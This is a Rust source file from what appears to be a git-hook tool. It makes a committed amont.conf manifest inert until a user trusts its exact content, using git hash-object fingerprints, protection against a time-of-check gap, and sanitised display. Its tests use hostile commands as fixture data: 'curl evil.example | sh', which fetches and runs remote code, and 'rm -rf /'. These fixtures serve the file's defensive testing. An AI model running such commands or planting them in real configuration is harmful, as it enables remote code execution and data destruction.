amont_runtime/trust.rs
1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44pub const KEY: &str = "amont.trusted";
45
46/// Content id of `path`, as git would compute it.
47///
48/// `--no-filters`, because consent is bound to CONTENT and the content that
49/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
50/// filter and eol conversion configured by the repository's own committed
51/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
52/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
53/// and two manifests we would parse differently can hash identically. The
54/// binding was to content-after-a-repo-controlled-transform.
55pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
56 crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
57}
58
59/// The same identity, for bytes already in hand.
60///
61/// `--stdin` is never filtered, so this names exactly the buffer given to it.
62/// Used where the caller has read the file and is about to act on THAT read:
63/// hashing the path again would be a second read, and the two can differ.
64pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
65 crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
66}
67
68/// What the repository has recorded, if anything.
69pub fn recorded(repo: &Path) -> Option<String> {
70 crate::git::stdout_in(repo, &["config", "--local", "--get", KEY])
71}
72
73#[derive(Debug, Clone, Copy, PartialEq, Eq)]
74pub enum State {
75 /// No manifest. The overwhelmingly common case, and it must cost nothing.
76 NoManifest,
77 /// Trusted, and the file still has the bytes that were trusted.
78 Trusted,
79 /// Never trusted here.
80 Untrusted,
81 /// Trusted once, and edited since. Distinct from `Untrusted` because the
82 /// message should say which happened — "somebody changed it" is a different
83 /// thing to tell a reader than "you have not looked at this yet".
84 Changed,
85}
86
87/// Decide whether `repo`'s manifest may run.
88pub fn state(repo: &Path) -> State {
89 let manifest = repo.join(crate::manifest::MANIFEST);
90 if !manifest.is_file() {
91 return State::NoManifest;
92 }
93 let Some(current) = fingerprint(repo, &manifest) else {
94 // Cannot compute it, so cannot claim it matches.
95 return State::Untrusted;
96 };
97 verdict(repo, ¤t)
98}
99
100/// The same decision, about bytes the caller already holds.
101///
102/// For anyone who has read the manifest and is about to act on THAT read.
103/// Re-opening the file to decide whether the first read may run is two reads of
104/// something that can change in between, and the whole point of the record is
105/// that it names the content being executed.
106pub fn state_of(repo: &Path, source: &[u8]) -> State {
107 let Some(current) = fingerprint_bytes(repo, source) else {
108 return State::Untrusted;
109 };
110 verdict(repo, ¤t)
111}
112
113fn verdict(repo: &Path, current: &str) -> State {
114 match recorded(repo) {
115 Some(seen) if seen == current => State::Trusted,
116 Some(_) => State::Changed,
117 None => State::Untrusted,
118 }
119}
120
121/// Record the manifest as it stands now.
122pub fn record(repo: &Path) -> Result<String, String> {
123 let manifest = repo.join(crate::manifest::MANIFEST);
124 let fp = fingerprint(repo, &manifest)
125 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
126 record_verified(repo, &fp)?;
127 Ok(fp)
128}
129
130/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
131///
132/// The gap this closes: `describe()` prints the manifest, then — in
133/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
134/// several seconds, before anything is recorded. A plain re-hash at that
135/// point trusts whatever is on disk THEN, which is not necessarily what was
136/// shown; a file changed in that window would be trusted without ever having
137/// been reviewed, which is the exact thing this module exists to prevent.
138/// Callers fingerprint what they show BEFORE asking, and pass that same
139/// value here — verified again, not merely assumed, once the answer is in.
140pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
141 let manifest = repo.join(crate::manifest::MANIFEST);
142 let now = fingerprint(repo, &manifest)
143 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
144 if now != fp {
145 return Err(format!(
146 "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
147 crate::manifest::MANIFEST
148 ));
149 }
150 let ok = crate::git::stdout_in(repo, &["config", "--local", KEY, fp]).is_some();
151 if !ok {
152 return Err(format!("cannot record {KEY} in this repository"));
153 }
154 Ok(())
155}
156
157/// Forget it.
158pub fn revoke(repo: &Path) -> Result<(), String> {
159 // `--unset` exits 5 when the key is absent, which is not a failure here.
160 let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset", KEY]);
161 Ok(())
162}
163
164/// The reason an external does not run, phrased for the check's own report.
165pub fn why(state: State) -> Option<&'static str> {
166 match state {
167 State::NoManifest | State::Trusted => None,
168 State::Untrusted => {
169 Some("declared in an untrusted amont.conf — review it, then `amont trust`")
170 }
171 State::Changed => {
172 Some("amont.conf changed since it was trusted — review it, then `amont trust`")
173 }
174 }
175}
176
177/// Show what the manifest declares, so the decision is made with it in view.
178///
179/// Printing the lines is the whole point: "trust this file" is not a question
180/// anybody can answer without seeing it, and a prompt that does not show it is
181/// a prompt that trains people to press y.
182pub fn describe(repo: &Path) -> String {
183 describe_source(
184 &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
185 )
186}
187
188/// The same listing, rendered from text the caller already read.
189///
190/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
191/// reads of a file somebody is deciding about can disagree, and the decision
192/// would then be recorded about bytes nobody was shown.
193pub fn describe_source(text: &str) -> String {
194 use std::fmt::Write;
195 let mut out = String::new();
196 let lines = crate::manifest::parse_lines(text);
197 // Policy and tool-pin lines are rendered as their own blocks below —
198 // they are not checks, and running them through the check table printed
199 // them as `! broken`, which told the person consenting that something
200 // was WRONG with the very lines they were being asked to approve.
201 let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
202 for line in checks {
203 let (name, stage, parsed) = line.into_parts();
204 // Every field here is repo-controlled, and this is the text somebody
205 // is about to say yes to. Sanitised BEFORE the padding, so the column
206 // widths are computed on what is actually printed — an escape sequence
207 // is zero columns wide and would silently shift the alignment even if
208 // it did nothing worse. See `ui::sanitize` for what a concealed
209 // declaration bought.
210 let name = crate::ui::sanitize(&name);
211 match parsed {
212 Ok(declared) => {
213 let _ = writeln!(
214 out,
215 " {name:<14} {:<10} {}",
216 stage.as_str(),
217 crate::ui::sanitize(&declared.command())
218 );
219 }
220 Err(why) => {
221 let _ = writeln!(
222 out,
223 " {name:<14} {:<10} ! {}",
224 stage.as_str(),
225 crate::ui::sanitize(&why.to_string())
226 );
227 }
228 }
229 }
230 let pins: Vec<String> = rest
231 .iter()
232 .filter_map(|l| match l {
233 crate::manifest::Line::Tool(pin) => {
234 Some(format!("tool {} {}", pin.program, pin.want))
235 }
236 _ => None,
237 })
238 .collect();
239 let policy: Vec<String> = rest
240 .iter()
241 .filter_map(|l| match l {
242 crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
243 _ => None,
244 })
245 .collect();
246 if !policy.is_empty() {
247 let _ = writeln!(out, " and sets policy for built-in checks:");
248 for p in policy {
249 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
250 }
251 }
252 if !pins.is_empty() {
253 let _ = writeln!(out, " and pins tool versions (verified, warn-only):");
254 for p in pins {
255 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
256 }
257 }
258 out
259}
260
261/// A yes/no on the terminal, or `false` when there is nobody to ask.
262///
263/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
264/// that read stdin would consume something else's input. Same reason
265/// `package-lock` does it, and the third copy of this is where it becomes a
266/// shared function.
267#[cfg(unix)]
268pub fn confirm(prompt: &str) -> bool {
269 use std::io::{BufRead, BufReader, Write};
270 let Ok(tty) = std::fs::File::open("/dev/tty") else {
271 return false;
272 };
273 print!("{prompt}");
274 let _ = std::io::stdout().flush();
275 let mut line = String::new();
276 if BufReader::new(tty).read_line(&mut line).is_err() {
277 return false;
278 }
279 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
280}
281
282/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
283/// something else holds stdin. Before this, Windows always declined —
284/// `amont trust` could never be granted interactively there, so every
285/// declared check spent its life politely disabled for the Windows
286/// minority of a team.
287///
288/// **Gated on stdin actually being a console**, which is the whole
289/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
290/// controlling terminal, so unix gets its "nobody to ask" answer for free;
291/// `CONIN$` opens whenever the process has a console at all — which a CI
292/// runner does — and then blocks forever on a read nobody will answer.
293/// That is not hypothetical: it hung four install tests until the Windows
294/// job timed out, at 20 minutes, the first time this shipped without the
295/// gate. A redirected stdin (git handing a hook a pipe, a test using
296/// `Stdio::null()`, a script piping input) therefore declines, exactly as
297/// before — the prompt is for a human who typed a command, and a human who
298/// typed a command has a console on stdin.
299#[cfg(windows)]
300pub fn confirm(prompt: &str) -> bool {
301 use std::io::{BufRead, BufReader, Write};
302 if !stdin_is_a_console() {
303 return false;
304 }
305 let Ok(con) = std::fs::File::open("CONIN$") else {
306 return false;
307 };
308 print!("{prompt}");
309 let _ = std::io::stdout().flush();
310 let mut line = String::new();
311 if BufReader::new(con).read_line(&mut line).is_err() {
312 return false;
313 }
314 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
315}
316
317/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
318///
319/// `GetConsoleMode` succeeds only for a console handle — the standard way
320/// to ask on Windows, and one kernel32 call, so this stays dependency-free
321/// like the signal handler in `staged_only`.
322#[cfg(windows)]
323fn stdin_is_a_console() -> bool {
324 const STD_INPUT_HANDLE: u32 = -10i32 as u32;
325 #[link(name = "kernel32")]
326 extern "system" {
327 fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
328 fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
329 }
330 let mut mode = 0u32;
331 unsafe {
332 let handle = GetStdHandle(STD_INPUT_HANDLE);
333 if handle.is_null() {
334 return false;
335 }
336 GetConsoleMode(handle, &mut mode) != 0
337 }
338}
339
340/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
341#[cfg(not(any(unix, windows)))]
342pub fn confirm(_prompt: &str) -> bool {
343 false
344}
345
346/// `amont trust [--show|--revoke]`.
347pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
348 // Refuse rather than fall back to ".". Trust is RECORDED per repository,
349 // keyed by the root this resolves to, so a "." root outside a repository
350 // meant `amont trust` in `~` would read `~/amont.conf`, show its
351 // declarations, and record trust for them — against a repository that does
352 // not exist, in a state no later `amont trust --revoke` would find.
353 let root = crate::hooks::common::repo_root_checked()?;
354 let root = Path::new(&root);
355 let flag = |f: &str| args.iter().any(|a| a == f);
356
357 if flag("--revoke") {
358 revoke(root)?;
359 println!("{} amont.conf is no longer trusted here", valid_sign());
360 return Ok(());
361 }
362
363 let state = state(root);
364 if state == State::NoManifest {
365 println!("no {} in this repository", crate::manifest::MANIFEST);
366 return Ok(());
367 }
368
369 if flag("--show") {
370 println!("{}", crate::manifest::MANIFEST);
371 print!("{}", describe(root));
372 println!(
373 " {}",
374 match state {
375 State::Trusted => "trusted here",
376 State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
377 _ => "not trusted here — not running",
378 }
379 );
380 return Ok(());
381 }
382
383 if state == State::Trusted {
384 println!("{} already trusted, unchanged", valid_sign());
385 return Ok(());
386 }
387
388 // One read: the bytes shown are the bytes fingerprinted, and
389 // `record_verified` then confirms they are still the bytes on disk. Read
390 // twice, and the listing somebody approved need not be what got recorded.
391 let manifest = root.join(crate::manifest::MANIFEST);
392 let source =
393 std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
394 let fp = fingerprint_bytes(root, &source)
395 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
396 println!("{} declares:", crate::manifest::MANIFEST);
397 print!("{}", describe_source(&String::from_utf8_lossy(&source)));
398 record_verified(root, &fp)?;
399 println!("{} trusted ({fp})", valid_sign());
400 Ok(())
401}
402
403#[cfg(test)]
404mod tests {
405 use super::*;
406
407 fn repo(name: &str) -> std::path::PathBuf {
408 let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
409 let _ = std::fs::remove_dir_all(&d);
410 std::fs::create_dir_all(&d).unwrap();
411 std::process::Command::new("git")
412 .args(["init", "-q", "--template=", "."])
413 .current_dir(&d)
414 .output()
415 .expect("git");
416 d
417 }
418
419 fn write_manifest(dir: &Path, body: &str) {
420 std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
421 }
422
423 /// Ninety-six repositories have no manifest. That must be free and silent.
424 #[test]
425 fn no_manifest_is_not_a_trust_question() {
426 let d = repo("none");
427 assert_eq!(state(&d), State::NoManifest);
428 assert_eq!(why(State::NoManifest), None);
429 let _ = std::fs::remove_dir_all(&d);
430 }
431
432 #[test]
433 fn a_manifest_starts_untrusted() {
434 let d = repo("new");
435 write_manifest(&d, "pre-commit a * block echo hi\n");
436 assert_eq!(state(&d), State::Untrusted);
437 let _ = std::fs::remove_dir_all(&d);
438 }
439
440 #[test]
441 fn recording_makes_it_trusted() {
442 let d = repo("record");
443 write_manifest(&d, "pre-commit a * block echo hi\n");
444 record(&d).expect("record");
445 assert_eq!(state(&d), State::Trusted);
446 let _ = std::fs::remove_dir_all(&d);
447 }
448
449 /// The property the whole design turns on: consent is to CONTENT, so a
450 /// `git pull` that adds a command cannot inherit it.
451 #[test]
452 fn editing_the_manifest_revokes_trust() {
453 let d = repo("edit");
454 write_manifest(&d, "pre-commit a * block echo hi\n");
455 record(&d).expect("record");
456 assert_eq!(state(&d), State::Trusted);
457
458 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
459 assert_eq!(
460 state(&d),
461 State::Changed,
462 "a manifest edited after trusting must not still be trusted"
463 );
464 // And it says which happened, because "you have not looked at this" is
465 // a different sentence to "somebody changed it".
466 assert!(why(State::Changed).expect("reason").contains("changed"));
467 let _ = std::fs::remove_dir_all(&d);
468 }
469
470 /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
471 /// fingerprints what it showed, waits on a keypress, then must not trust
472 /// whatever is on disk by the time the answer comes back if that is not
473 /// what was actually shown.
474 #[test]
475 fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
476 let d = repo("changed-mid-confirm");
477 write_manifest(&d, "pre-commit a * block echo hi\n");
478 let manifest = d.join(crate::manifest::MANIFEST);
479 let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
480
481 // The file is rewritten in the window a real confirm() would have
482 // been blocking on a keypress.
483 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
484
485 let err = record_verified(&d, &shown_fp).expect_err("must refuse");
486 assert!(err.contains("changed"), "{err}");
487 assert_eq!(
488 state(&d),
489 State::Untrusted,
490 "the rewritten content must not end up trusted"
491 );
492 let _ = std::fs::remove_dir_all(&d);
493 }
494
495 /// The ordinary path still works: nothing changed, so the fingerprint
496 /// shown is the fingerprint recorded.
497 #[test]
498 fn record_verified_accepts_a_manifest_that_did_not_change() {
499 let d = repo("unchanged");
500 write_manifest(&d, "pre-commit a * block echo hi\n");
501 let manifest = d.join(crate::manifest::MANIFEST);
502 let fp = fingerprint(&d, &manifest).expect("fingerprint");
503 record_verified(&d, &fp).expect("record");
504 assert_eq!(state(&d), State::Trusted);
505 let _ = std::fs::remove_dir_all(&d);
506 }
507
508 #[test]
509 fn revoking_returns_it_to_untrusted() {
510 let d = repo("revoke");
511 write_manifest(&d, "pre-commit a * block echo hi\n");
512 record(&d).expect("record");
513 revoke(&d).expect("revoke");
514 assert_eq!(state(&d), State::Untrusted);
515 // Twice is not an error: `git config --unset` exits 5 on a missing key.
516 revoke(&d).expect("revoke again");
517 let _ = std::fs::remove_dir_all(&d);
518 }
519
520 /// Reproducible by hand, which is the point of using git's own identity.
521 #[test]
522 fn the_fingerprint_is_git_hash_object() {
523 let d = repo("fp");
524 write_manifest(&d, "pre-commit a * block echo hi\n");
525 let manifest = d.join(crate::manifest::MANIFEST);
526 let ours = fingerprint(&d, &manifest).expect("fingerprint");
527 let theirs = String::from_utf8_lossy(
528 &std::process::Command::new("git")
529 .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
530 .current_dir(&d)
531 .output()
532 .expect("git")
533 .stdout,
534 )
535 .trim()
536 .to_string();
537 assert_eq!(ours, theirs);
538 let _ = std::fs::remove_dir_all(&d);
539 }
540 /// A repository must not choose the transform its own consent is taken
541 /// through.
542 ///
543 /// `.gitattributes` is committed, so the repo picks the clean filter; plain
544 /// `git hash-object` applies it. With one that collapses everything to a
545 /// constant, two manifests this parser reads DIFFERENTLY are given the same
546 /// id — so a trusted fingerprint would cover content nobody reviewed.
547 #[test]
548 fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
549 let d = repo("filter");
550 std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
551 .expect("write attributes");
552 let ok = std::process::Command::new("git")
553 .args(["config", "--local", "filter.flatten.clean", "echo same"])
554 .current_dir(&d)
555 .status()
556 .map(|s| s.success())
557 .unwrap_or(false);
558 if !ok {
559 return; // no git to configure; nothing to assert
560 }
561 let manifest = d.join(crate::manifest::MANIFEST);
562
563 write_manifest(&d, "pre-commit a * block echo one\n");
564 let filtered_a = raw_hash(&d, &manifest);
565 let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
566
567 write_manifest(&d, "pre-commit b * block rm -rf /\n");
568 let filtered_b = raw_hash(&d, &manifest);
569 let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
570
571 // The collision has to EXIST before its absence means anything. A
572 // clean filter is an external program run through git's own shell, and
573 // whether `echo` resolves that way is the platform's business, not
574 // ours — Git for Windows does not collapse these. Say so and stop,
575 // rather than report a fixture that would not build as a defect in the
576 // code under test. `an_eol_conversion_cannot_...` below covers the same
577 // property with no external program involved and runs everywhere.
578 if filtered_a != filtered_b {
579 println!(
580 "! clean filters do not apply here — collision not reproducible, \
581 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
582 );
583 return;
584 }
585 assert_ne!(
586 ours_a, ours_b,
587 "the fingerprint followed a repo-controlled filter"
588 );
589 }
590
591 /// The same property, with git's own eol conversion instead of an external
592 /// filter — so it holds on every platform.
593 ///
594 /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
595 /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
596 /// files differing only in line endings hash identically. That is a weaker
597 /// lever than a clean filter (the parser reads both the same way), but it
598 /// is the same mistake: the id names content-after-a-repo-controlled
599 /// transform rather than the bytes we read.
600 #[test]
601 fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
602 let d = repo("eol");
603 std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
604 .expect("write attributes");
605 let manifest = d.join(crate::manifest::MANIFEST);
606
607 // Byte-different, line-ending-identical-after-normalisation.
608 std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
609 let filtered_crlf = raw_hash(&d, &manifest);
610 let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
611
612 std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
613 let filtered_lf = raw_hash(&d, &manifest);
614 let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
615
616 if filtered_crlf != filtered_lf {
617 println!("! eol conversion does not apply here — collision not reproducible");
618 return;
619 }
620 assert_ne!(
621 ours_crlf, ours_lf,
622 "the fingerprint followed a repo-controlled eol conversion"
623 );
624 }
625
626 fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
627 String::from_utf8_lossy(
628 &std::process::Command::new("git")
629 .args(["hash-object", manifest.to_str().unwrap()])
630 .current_dir(dir)
631 .output()
632 .expect("git")
633 .stdout,
634 )
635 .trim()
636 .to_string()
637 }
638}